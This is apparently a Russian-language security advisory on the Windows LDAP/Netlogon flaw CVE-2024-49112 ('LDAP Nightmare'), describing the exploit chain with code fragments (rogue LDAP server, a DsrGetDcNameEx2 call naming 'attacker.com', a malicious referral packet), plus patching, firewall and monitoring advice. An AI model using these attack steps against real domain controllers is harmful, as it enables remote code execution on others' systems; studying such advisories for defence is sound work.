
Уязвимость BDU:2024-11018: Целочисленное переполнение при обработке LDAP-рефералов
Уязвимость BDU:2024-11018 (CVE-2024-49112) в реализации протокола LDAP и Netlogon Remote Protocol (NRPC) Windows связана с целочисленным переполнением при обработке LDAP-рефералов (referral). Это позволяет удалённому злоумышленнику выполнить произвольный код в контексте LDAP-службы (часто с правами SYSTEM).
Технический анализ
1. Механизм эксплуатации
-
Целевой компонент: Служба Netlogon (
lsass.exe
), обрабатывающая LDAP-запросы. -
Уязвимый код: Ошибка возникает при парсинге LDAP-ответов с рефералами, где неправильная обработка полей
messageId
иreferral
приводит к переполнению буфера.
2. Векторы атаки
-
Для серверов: Злоумышленник отправляет специальный RPC-вызов
DsrGetDcNameEx2
к доменному контроллеру, заставляя его запросить LDAP-сервер атакующего. -
Для клиентов: Пользователь должен быть обманно направлен к вредоносному LDAP-серверу (например, через фишинг).
3. Эксплойт LDAP Nightmare
Этапы работы:
-
Создание LDAP-сервера:
# Запуск UDP-сервера на порту 389 asyncio.run(run_exploit_server(listen_port))
-
Инициация RPC-вызова:
DsrGetDcNameEx2(target_ip, domain_name="attacker.com")
Вызов заставляет целевой сервер запросить
attacker[.]com
через LDAP. -
Отправка вредоносного реферала:
В ответе LDAP-сервера подменяетсяmessageId
и добавляется реферал с переполняющим значением:bytes_to_send = get_malicious_ldap_packet(message_id, lm_referral=0x41414141)
Это вызывает целочисленное переполнение в
lsass.exe
, приводящее к RCE.
Технические детали уязвимого кода
Ошибка в обработке messageId
При парсинге LDAP-пакета поле messageId
интерпретируется как 32-битное целое, но не проверяется на корректность. Указание значения 0x41414141
(или другого, превышающего INT_MAX
) вызывает переполнение, что ведёт к:
-
Записи за пределы выделенного буфера.
-
Повреждению структур данных в памяти.
Пример уязвимого кода (псевдокод):
void parse_ldap_response(Packet* packet) {
uint32_t messageId = read_uint32(packet->data + offset);
// Нет проверки messageId на допустимый диапазон
process_referral(packet->referral, messageId); // Переполнение здесь
}
Рекомендации по защите
-
Установите обновления:
-
Примените патчи Microsoft от 10.12.2024.
-
-
Ограничьте сетевой доступ:
-
Заблокируйте входящие RPC-вызовы на портах 135, 49664 через брандмауэр.
-
Используйте Windows Defender Firewall с Advanced Security для фильтрации LDAP/UDP 389.
-
-
Настройте DNS:
-
Убедитесь, что SRV-записи
_ldap._tcp.dc._msdcs
указывают только на доверенные серверы. -
Включите DNSSEC для предотвращения подмены DNS.
-
-
Мониторинг:
-
Отслеживайте подозрительные LDAP-запросы к внешним доменам через SIEM-системы.
-
Используйте правила Auditpol для логирования событий Netlogon:
auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
-
